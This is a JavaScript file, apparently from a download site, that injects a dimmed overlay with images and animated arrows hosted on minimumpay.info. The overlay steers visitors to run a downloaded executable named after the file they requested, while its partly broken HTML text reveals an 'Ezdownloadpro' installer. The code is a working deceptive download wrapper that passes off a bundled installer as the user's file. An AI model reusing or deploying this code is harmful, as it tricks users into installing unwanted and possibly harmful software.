var lowerCaseUA = navigator.userAgent.toLowerCase();
var isChrome = lowerCaseUA.indexOf("chrome") > -1;
var isMSIE = lowerCaseUA.indexOf("msie") > -1;
var isIE11 = !!navigator.userAgent.match(/rv\:11.0/);
var isFF = lowerCaseUA.indexOf("firefox") > -1;
var ieVersion = parseFloat(navigator.appVersion.split("MSIE")[1]);
//if (lowerCaseUA.indexOf("windows") > -1) {
function getFilename(){
var file_name = $('.bredcrumb span').html();
return file_name;
}
var fname=getFilename();
if(fname.length>14){
var appTitle = fname.substring(0, 14) + '...exe';
}else{
var appTitle = fname + '.exe';
}
if (typeof jQuery == "undefined")
getScript('http://code.jquery.com/jquery-1.11.1.min.js', init);
else
init();
//}
function getScript(url, success) {
var script = document.createElement('script');
script.setAttribute('src', url);
script.setAttribute('type', 'text/javascript');
var head = document.getElementsByTagName('head')[0],
done = false;
script.onload = script.onreadystatechange = function () {
if (!done && (!this.readyState || this.readyState == 'loaded' || this.readyState == 'complete')) {
done = true;
success();
script.onload = script.onreadystatechange = null;
head.removeChild(script);
}
};
head.appendChild(script);
}
function generateElements() {
if ($('#mask').length === 0) {
var mask = document.createElement("div");
mask.setAttribute('id', 'mask');
mask.setAttribute('class', 'CC');
$(mask).css({
background: '#000000',
left: 0,
top: 0,
opacity: 0.25,
height: "1000px",
width: $(document).width() + "px",
minWidth: "4920px",
position: "fixed",
zIndex: 9998,
bottom: "1000px",
display: "none"
});
if(isMSIE)
{
$(mask).css("filter", "progid:DXImageTransform.Microsoft.Alpha(opacity=25)");
}
document.body.appendChild(mask);
}
// generate windows
if ($('#window1').length === 0) {
var window1 = document.createElement("div");
window1.setAttribute('id', 'window1');
window1.setAttribute('class', 'CC');
$(window1).css({
width: '270px',
height: '271px',
position: "fixed",
zIndex: 9999,
display: "none"
});
if(isChrome) {
var title = document.createElement("p");
$(window1).css({
left: '145px',
bottom: 0,
background: "url('http://minimumpay.info/afterclick/pic1.png') no-repeat"
});
$(title).css({
position: 'relative',
margin: '153px 0 0 67px',
'float':'left',
fontSize:'13px'
}).text(appTitle);
$(window1).html($(title));
document.body.appendChild(window1);
}
if(ieVersion > 8 || isIE11) {
$(window1).css({
position: 'absolute',
bottom: 0,
left: 0,
textAlign: 'center',
background: "url('http://minimumpay.info/afterclick/pic1_ie.png') no-repeat"
});
}
}
if ($('#window2').length === 0) {
var window2 = document.createElement("div");
window2.setAttribute('id', 'window2');
window2.setAttribute('class', 'CC');
$(window2).css({
width: '270px',
height: '271px',
position: "fixed",
zIndex: 9999,
display: "none"
});
if(isChrome) {
$(window2).css({
left: '425px',
bottom: 0,
background: "url('http://minimumpay.info/afterclick/pic2.1.png') no-repeat"
});
document.body.appendChild(window2);
}
if(isMSIE || isIE11) {
if(ieVersion > 8 || isIE11) {
$(window2).css({
position: 'absolute',
bottom: 0,
left: '280px',
background: "url('http://minimumpay.info/afterclick/pic2_ie.png') no-repeat"
});
$(window2).html('' +
'
'+
'
'+
'file, please click Next if you agree to ice and Privacy Policy of Ezdownloadpro'+
'
'+
'
');
}
}
}
if ($('#window0').length === 0) {
if(ieVersion > 8 || isIE11) {
var window0 = document.createElement("div");
window0.setAttribute('id', 'window0');
window0.setAttribute('class', 'CC');
$(window0).css({
left: '63%',
width: '690px',
height: '100%',
marginLeft: '-520px',
bottom: '60px',
position: "fixed",
zIndex: 10000,
display: "none"
});
if ($('#window1').length === 0) window0.appendChild(window1);
if ($('#window2').length === 0) window0.appendChild(window2);
document.body.appendChild(window0);
}
}
// generate arrow
if ($('#arrow').length === 0) {
var arrow = document.createElement("div");
arrow.setAttribute('id', 'arrow');
arrow.setAttribute('class', 'CC');
$(arrow).css({
position: "fixed",
zIndex: 9999,
display: "none"
});
if(isFF)
{
var arrow_l = document.createElement("div");
var arrow_r = document.createElement("div");
$(arrow_l).css({
background: "url('http://minimumpay.info/afterclick/arrowl.png') no-repeat",
left: "1%",
top: "40%",
height: "133px",
width: "275px",
opacity: "1",
position: "fixed",
zIndex: "20010",
display: "none"
});
$(arrow_l).attr({
"id": "arrow_l",
"class": "CC"
});
$(arrow_r).css({
background: "url('http://minimumpay.info/afterclick/arrowr.png') no-repeat",
right: "1%",
height: "133px",
width: "275px",
position: "fixed",
zIndex: "20010",
opacity: "1",
top: "40%",
display: "none"
});
$(arrow_r).attr({
"id": "arrow_r",
"class": "CC"
});
document.body.appendChild(arrow_l);
document.body.appendChild(arrow_r);
}
if(isChrome)
{
$(arrow).css({
left: '10px',
top: 0,
background: "url('http://minimumpay.info/afterclick/arrow.1.png') no-repeat",
width: '127px',
height: '266px',
opacity: "1"
});
document.body.appendChild(arrow);
}
if(isMSIE || isIE11)
{
if(ieVersion > 8 || isIE11) {
var lengthWindow = $("#window0").height() - 300;
$(arrow).css({
position: "absolute",
background: "url('http://minimumpay.info/afterclick/arrow.1.png') no-repeat",
left: "580px",
height: "272px",
width: "130px",
bottom: lengthWindow
});
if ($('#window0').length !== 0) window0.appendChild(arrow);
}
else
{
var arrow_l = document.createElement("div");
var arrow_r = document.createElement("div");
$(arrow_l).css({
background: "url('http://minimumpay.info/afterclick/arrowl.png') no-repeat",
left: "1%",
top: "40%",
height: "133px",
width: "275px",
opacity: "1",
position: "fixed",
zIndex: "20010",
display: "none"
});
$(arrow_l).attr({
"id": "arrow_l",
"class": "CC"
});
$(arrow_r).css({
background: "url('http://minimumpay.info/afterclick/arrowr.png') no-repeat",
right: "1%",
height: "133px",
width: "275px",
position: "fixed",
zIndex: "20010",
opacity: "1",
top: "40%",
display: "none"
});
$(arrow_r).attr({
"id": "arrow_r",
"class": "CC"
});
document.body.appendChild(arrow_l);
document.body.appendChild(arrow_r);
}
}
}
}
//function for ff and ie
function start(){
$("#arrow_l").show();
$("#arrow_r").show();
$("#arrow_l").animate({left: "15%"}, 1000);
$("#arrow_r").animate({right: "15%"}, 1000);
for(var i = 0; i < 5; i++)
{
$("#arrow_l").animate({left: "10%"}, 1000);
$("#arrow_r").animate({right: "10%"}, 1000);
$("#arrow_l").animate({left: "15%"}, 1000);
$("#arrow_r").animate({right: "15%"}, 1000);
}
}
function end(){
$(".CC").hide();
$("#arrow_l").stop(true, true).css("left", "1%");
$("#arrow_r").stop(true, true).css("right", "1%");
}
function showArrow() {
var length = $(window).height() - 265;
$('#arrow').show().animate({top: length}, 1000, 'swing', function () {
$(this).css('top', '');
$(this).css('bottom', 1);
showWindows();
});
}
function showMask() {
$('#mask').show(30);
}
function showWindows() {
if(isChrome){
$('#window1').fadeIn(600, function () {
$('#window2').fadeIn(600);
});
}
if(ieVersion > 8 || isIE11){
$('#window1').fadeIn(600, function () {
$('#window2').fadeIn(600);
});
}
}
function init() {
generateElements();
$(".dlpage1").click(function () {
if($('#use_accelerator').is(':checked')){ showMask();
if(isFF) {
start();
}
if(isChrome){
showArrow();
}
if(isMSIE || isIE11)
{
if(ieVersion > 8 || isIE11)
{
setTimeout(function(){
$('#window0').show();
$('#arrow').show().animate({bottom: 0}, 1000, 'swing', function () {
showWindows();
});
for(var i = 0; i < 5; i++)
{
$("#arrow").animate({bottom: "50px"}, 1000);
$("#arrow").animate({bottom: "0"}, 1000);
}
},1000);
} else {
var isOnload8=false;
start();
jQuery('#arr_l_img').load(function() {
isOnload8=true;
});
setTimeout(function(){if(!isOnload8){
start();
}
},2000);
}
}
$('.CC').click(function () {
if(isChrome)
{
$('#window1').fadeOut(600);
$('#window2').fadeOut(600);
$('#mask').fadeOut(600);
$('#arrow').fadeOut(600);
}
if(isFF)
{
end();
}
if(isMSIE || isIE11)
{
if(ieVersion > 8 || isIE11)
{
$('#mask').fadeOut(600, function(){
$('#window1').fadeOut(600);
$('#window2').fadeOut(600);
$('#arrow').stop(true, true).fadeOut(600);
$('#window0').fadeOut(600);
});
}
else
{
end();
}
}
});
} });
}